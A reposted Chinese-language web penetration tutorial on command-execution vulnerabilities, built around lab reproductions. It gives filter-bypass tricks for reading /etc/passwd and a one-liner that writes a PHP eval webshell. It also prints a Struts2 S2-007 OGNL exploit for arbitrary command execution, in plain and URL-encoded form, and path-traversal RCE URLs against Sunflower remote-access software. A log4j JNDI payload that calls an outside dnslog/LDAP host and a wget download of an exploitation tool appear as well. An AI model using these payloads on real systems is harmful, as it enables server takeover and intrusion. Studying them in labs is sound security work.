Web滲透-命令執行漏洞及常見靶場探測實戰

一、概述

命令執行(RCE):應用有時需要調用一些執行系統命令的函數,如php中的system,exec,shell exec,passthru,popen,proc popen等,當用戶能控制這些函數的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。

二、利用條件

1 應用調用執行系統命令的函數
2 將用戶輸入作為系統精靈的參數拼接到命令行中
3 沒有對用戶輸入進行過濾

三、漏洞分類

1 代碼層過濾不嚴
商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函數來調用:
system("/bin/program--arg $arg");
2 系統的漏洞造成命令注入
比如:bash破殼漏洞 (cve-2014-6271)
3 調用的第三方組件存在代碼執行漏洞
如wordpress中用來處理圖片的imagemagick組件
java中的命令執行漏洞(struts2/elasticsearchgroovy等)
thinkphp命令執行
4 遠程命令執行漏洞(執行的是命令)
指 用戶通過瀏覽器提交執行操作命令,由于服務器端,沒有針對執行函數做過濾,就執行了惡意命令。
5 遠程代碼執行漏洞(執行的是代碼)
也叫代碼注入漏洞,指用戶通過瀏覽器提交執行惡意腳本代碼,執行惡意構造的腳本代碼

三、命令執行漏洞攻擊

命令連接符(windows)

| || & && 的區別:
& :無論左邊還是false還是true,右邊都會執行(可以同時執行多條命令)
&&: 左邊錯誤,右邊也不執行
| :都為true,只執行右邊的命令
|| : 左邊為false,才會執行右邊的

image.png

命令連接符(Linux)

& : 后臺運行( 殺進程命令:kill -s 9)
; :連接符 
&& : 左邊的執行成功后,右邊的才會執行
|| : 左邊錯,執行右邊

五、PHP執行系統命令內置函數

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

六、繞過方式

注意點:在Linux下,passwd是命令,/etc/passwd是文件

情景一:路徑被過濾

# 使用通配符
* :多個
? : 一個
# 特殊方式 
# /'

image.png

# 未初始化變量 $a(和空格的作用類似)
cat$a /etc$a/passwd$a

七、pikachu靶場測試

命令執行漏洞

#  輸入
| dir 

image.png

代碼執行漏洞

# 輸入
system("ipconfig");

image.png

代碼執行漏洞-寫入木馬示例

# cmd示例:
echo "<?php @eval($_POST['cmd'])?>;" > a.php

七、漏洞復現-struts2-S2-007

  • 使用靶場:https://vulhub.org/
  • 靶場搭建文檔:https://vulhub.org/#/docs/
  • 漏洞復現文檔:
 # 原理參考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html當配置了驗證規則 `<ActionName>-validation.xml` 時,若類型驗證轉換出錯,后端默認會將用戶提交的表單值通過字符串拼接,然后執行一次 OGNL 表達式解析并返回。例如這里有一個 UserAction:```java
(...)
public class UserAction extends ActionSupport {private Integer age;private String name;private String email;(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC"-//OpenSymphony Group//XWork Validator 1.0//EN""http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators><field name="age"><field-validator type="int"><param name="min">1</param><param name="max">150</param></field-validator></field>
</validators>

當用戶提交 age 為字符串而非整形數值時,后端用代碼拼接 "'" + value + "'" 然后對其進行 OGNL 表達式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表達式。

因為受影響版本為 Struts2 2.0.0 - Struts2 2.2.3,所以這里給出繞過安全配置進行命令執行的 Payload(彈計算器,無法在本項目環境下運行):

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '

Exploit

@rickgray 在原文中只給了彈計算器的POC,我給出執行任意代碼的EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

將Exp傳入可以利用的輸入框(age),得到命令執行結果:

                                                                                                                                                                    25,0-1        88%

- 復現過程:- 啟動docker容器:`docker-compose  up -d`- 查看dock容器啟動端口:`docker ps`![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719459325055-73add876-ff67-4ef6-91a0-200153007a8c.png#averageHue=%23252220&clientId=u40555cc2-d63d-4&from=paste&height=43&id=u70fd076a&originHeight=43&originWidth=1178&originalType=binary&ratio=1&rotation=0&showTitle=false&size=5407&status=done&style=none&taskId=u3034b2b4-15f5-44c4-96d9-32038db9c5b&title=&width=1178)- 查看dock容器啟動端口:訪問8080端口![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719459373868-883f650e-69ef-47f2-b041-30b126737737.png#averageHue=%23d2d1d1&clientId=u40555cc2-d63d-4&from=paste&height=417&id=uc8c5fc8a&originHeight=417&originWidth=726&originalType=binary&ratio=1&rotation=0&showTitle=false&size=19204&status=done&style=none&taskId=ucfc9b5a3-fea3-41b5-ba07-92410a64e34&title=&width=726)- 傳遞文檔中的參數編碼并抓包- <br />
```shell
# url編碼網址:https://www.qianbo.com.cn/Tool/Url-Encode.html
# 源 
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '#編碼后結果
'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()))%20%2B%20'

image.png

  • 結果:

image.png

七、向日葵漏洞

版本:11.0.0.33162
啟動向日葵后會啟動一個4萬以上的端口,通過nmap可以掃描出。
獲取cookie網址:ip:端口cgi-bin/rpc?action=verify-haras(verify_string:參數值)
#注入:
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%26c:%26%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami
或
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami請求包Cookie格式:
Cookie:CID=verify_string參數值

八、log4j靶場檢測

靶場搭建

# 拉取容器
docker pull vulfocus/log4j2-rce-2021-12-09
# 啟動
docker run -tid -p 8080:8080  vulfocus/log4j2-rce-2021-12-09
# 查看狀態
docker ps

image.png
image.png

檢測漏洞

# url編碼網址:https://www.qianbo.com.cn/Tool/Url-Encode.html
命令:${jndi:ldap://域名/exp}
# 在http://www.dnslog.cn/準備一個隨機url
http://varin.cn:8080/
# 步驟:
點擊?????后在url添加
http://varin.cn:8080/hello?payload=${jndi:ldap://xl4nrl.dnslog.cn/exp}
# 將此進行url編碼:${jndi:ldap://xl4nrl.dnslog.cn/exp}
結果為:%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D
# 重新拼接后并訪問:
http://varin.cn:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D

image.png
訪問后結果:
有回顯,存在漏洞
image.png

擴展

  • 工具下載
# 工具:JNDI-Injection-Exploit v1.0
# 下載地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
# kali 下載:
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37912.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37912.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37912.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

004-GeoGebra基礎篇-GeoGebra的點

新手剛開始操作GeoGebra的時候一般都會恨之入骨&#xff0c;因為有些操作不進行學習確實有些難以憑自己發現。 目錄 一、點的基本操作1. 通過工具界面添加點2. 關于點的選擇&#xff08;對象選擇通用方法&#xff09;&#xff08;1&#xff09;選擇工具法&#xff08;2&#xf…

【高考志愿】光學工程

目錄 一、專業概述 二、專業特點 三、研究和就業方向 3.1 研究方向 3.2 就業方向 四、光學工程專業排名 高考志愿選擇光學工程專業無疑是一項既具深度又富挑戰性的明智之舉。這個古老而充滿魅力的專業&#xff0c;正逐漸嶄露其在現代社會中的重要性與獨特魅力。 一、專業…

NOI大綱——普及組——位運算總結

位運算總結 1.位運算符號 & \& &——按位與 如果兩個相應的二進制位都為1&#xff0c;則該位的結果值為1&#xff0c;否則為0 ∣ | ∣——按位或 兩個相應的二進制位中只要有一個為1&#xff0c;該位的結果值為1 ^——按位異或 若參加運算的兩個二進制位值相同則…

“勢”是“態”的偶然性減少

“態勢感知”中的“勢”指的是一種趨勢或傾向性&#xff0c;而“態”則表示狀態或局勢。這個術語常用于描述在一段時間內系統或事件顯示出來的方向性變化或發展趨勢。因此&#xff0c;可以將“態勢”理解為系統或事件狀態變化的趨勢&#xff0c;這種變化通常反映出偶然性減少的…

解析Java中1000個常用類:Calendar類,你學會了嗎?

推薦一個我自己寫的程序員在線工具站: http://cxytools.com 提供一站式在線工具平臺,專為程序員設計,包括時間日期、JSON處理、SQL格式化、隨機字符串生成、UUID生成、隨機數生成、文本Hash等功能,提升開發效率。 以下是正文。 在 Java 編程中,處理日期和時間是一個常見…

Java新手啟航:Windows下JDK安裝,開啟編程之旅

你是不是對編程充滿好奇&#xff0c;想要邁入Java的世界&#xff0c;卻不知道從何開始&#xff1f;別擔心&#xff0c;每一個Java大師都是從安裝JDK開始的&#xff0c;而今天&#xff0c;我將手把手教你如何輕松完成JDK的安裝&#xff0c;讓你邁出編程之旅的第一步! 接下來&am…

websocket基礎使用學習

websocket基礎使用學習 一、websocket是什么&#xff1f;二、使用步驟1.websocket服務的安裝與啟動安裝服務連接與發消息 總結 一、websocket是什么&#xff1f; 以前&#xff0c;很多網站為了實現推送技術&#xff0c;所用的技術都是Ajax 輪詢。輪詢是在特定的的時間間隔&…

ios18開發者預覽,Beta 2升級新增鏡像等功能

近日&#xff0c;蘋果發布了 iOS 18 開發者預覽版 Beta 2 升級&#xff0c;為 iPhone 用戶帶來了多項新功能。據了解&#xff0c;這些新功能包括 iPhone 鏡像和 SharePlay 屏幕共享&#xff0c;以及其他新增功能。 據了解&#xff0c;iPhone鏡像可以讓Mac用戶將iPhone屏幕鏡像…

OLMo:真正完全開源的大模型

最近&#xff0c;又有一家機構AI2&#xff08;Allen Institute for AI&#xff09;開源了一個LLM&#xff1a;OLMo&#xff0c;它的英文全稱就叫Open Language Model。相比之前開源的大模型&#xff0c;OLMo的獨特之處是完全開源&#xff0c;除了訓練的模型&#xff0c;OLMo還開…

ElementUI的基本搭建

目錄 1&#xff0c;首先在控制終端中輸入下面代碼&#xff1a;npm i element-ui -S 安裝element UI 2&#xff0c;構架登錄頁面&#xff0c;login.vue?編輯 3&#xff0c;在官網獲取對應所需的代碼直接復制粘貼到對應位置 4&#xff0c;在繼續完善&#xff0c;從官網添加…

商業智能(BI)實戰項目

商業智能&#xff08;BI&#xff09;實戰項目 期待您的關注 ?大數據學習筆記 1.實現的功能 2.數據庫操作步驟 創建數據庫&#xff1a;create database card;創建表&#xff1a;create table card_apply ( cid bigint primary key auto_increment ,apply_uid bigint ,apply_ent…

商城自動化測試實戰 —— 登錄+滑塊驗證

hello大家好&#xff0c;我是你們的小編&#xff01; 本商城測試項目采取PO模型和數據分離式架構&#xff0c;采用pytestseleniumjenkins結合的方式進行腳本編寫與運行&#xff0c;項目架構如下&#xff1a; 1、創建項目名稱&#xff1a;code_shopping&#xff0c;創建所需項目…

openEuler安裝docker

在openEuler上安裝Docker&#xff0c;可以通過以下步驟進行&#xff1a; 1、更新軟件包索引&#xff1a; sudo yum makecache 2、安裝Docker&#xff1a; sudo yum install docker -y 3、啟動Docker服務&#xff1a; sudo systemctl start docker 4、設置Docker開機自啟&am…

010、GPT-5:AI新紀元的曙光與挑戰

目錄 GPT-5&#xff1a;AI新紀元的曙光與挑戰 1.革命性的個人助理 2.教育領域的變革 3.醫療健康的新篇章 4.科研創新的加速器 5.創意產業的新靈感 6.商業與經濟的智能化 7.社會治理的新工具 8.環境保護與可持續發展 9.倫理與社會影響 學術視角&#xff1a;AI發展的前…

惠海H6392 2.6v升5V 3.7V升9V 4.2V升12V 升壓恒壓芯片 小家電IC

惠海H6392升壓恒壓芯片是一款小家電、移動設備以及其他需要升壓恒壓電源的電子設備設計的DC-DC轉換器。這款芯片以其獨特的產品特性和廣泛的應用場景&#xff0c;為電子產品設計者提供了高效、穩定的電源解決方案。 產品描述&#xff1a; H6392采用了簡單的電流模式升壓技術&a…

使用Collections.shuffle打亂集合順序

使用Collections.shuffle打亂集合順序 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01;今天我們將探討如何使用Java中的Collections.shuffle方法來打亂集合的順序…

單例模式實現方式

單例模式 單例模式&#xff08;Singleton Pattern&#xff09;的主要目的是確保一個類只有一個實例&#xff0c;并提供一個全局訪問點來訪問該實例。 在 Java 中&#xff0c;實現單例模式的方式有幾種常見的方式 懶漢式 public class Singleton{private static final Singlet…

華為od-C卷200分題目4 -電腦病毒感染

華為od-C卷200分題目4 -電腦病毒感染 一個局域網內有很多臺電腦&#xff0c;分別標注為0 - N-1的數字。相連接的電腦距離不一樣&#xff0c;所以感染時間不一樣&#xff0c;感染時間用t表示。其中網絡內一個電腦被病毒感染&#xff0c;其感染網絡內所有的電腦需要最少需要多長…

二叉樹的題目

目錄 1、將遍歷的結果放在list中 2、判斷兩棵樹是否相同 3、翻轉二叉樹 4、判斷平衡二叉樹 5、判斷二叉樹是否對稱 6、判斷是否為完全二叉樹 先創建一個二叉樹 public class BinaryTree {static class TreeNode {public char val;public TreeNode left;public TreeNode …

NextJs 系列文章

NextJs 系列文章 NextJs 初級篇 - 安裝 | 路由 | 中間件NextJs 渲染篇 - 什么是CSR、SSR、SSG、ISR 和服務端/客戶端組件NextJs 數據篇 - 數據獲取 | 緩存 | Server Actions